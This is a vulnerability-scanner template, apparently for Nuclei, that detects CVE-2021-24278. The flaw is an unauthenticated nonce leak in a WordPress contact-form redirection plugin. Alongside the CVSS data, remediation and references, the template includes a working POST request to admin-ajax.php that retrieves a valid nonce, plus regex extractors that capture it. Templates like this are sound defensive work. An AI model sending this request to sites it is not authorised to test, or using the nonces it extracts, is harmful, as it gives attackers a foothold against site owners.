id: CVE-2021-24278 info: name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation author: 2rs3c severity: high description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function. remediation: | Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability. reference: - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413 - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24278 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-24278 cwe-id: CWE-863 epss-score: 0.07978 epss-percentile: 0.93609 cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: querysol product: redirection_for_contact_form_7 framework: wordpress tags: wordpress,wp-plugin,wpscan,cve,cve2021 http: - method: POST path: - "{{BaseURL}}/wp-admin/admin-ajax.php" body: "action=wpcf7r_get_nonce¶m=wp_rest" headers: Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: regex part: body regex: - '"success":true' - '"nonce":"[a-f0-9]+"' condition: and - type: status status: - 200 extractors: - type: regex regex: - '"nonce":"[a-f0-9]+"' part: body # digest: 4a0a0047304502207b351b3b1adb7327a03b89cc4ca76a70171e7b47fc292728466941697f4d1d0d022100931dfa4c9e02237c8edc85e3b891ad5a87ec33cec9779f64cf6696c722a380ea:922c64590222798bb761d5b6d8e72950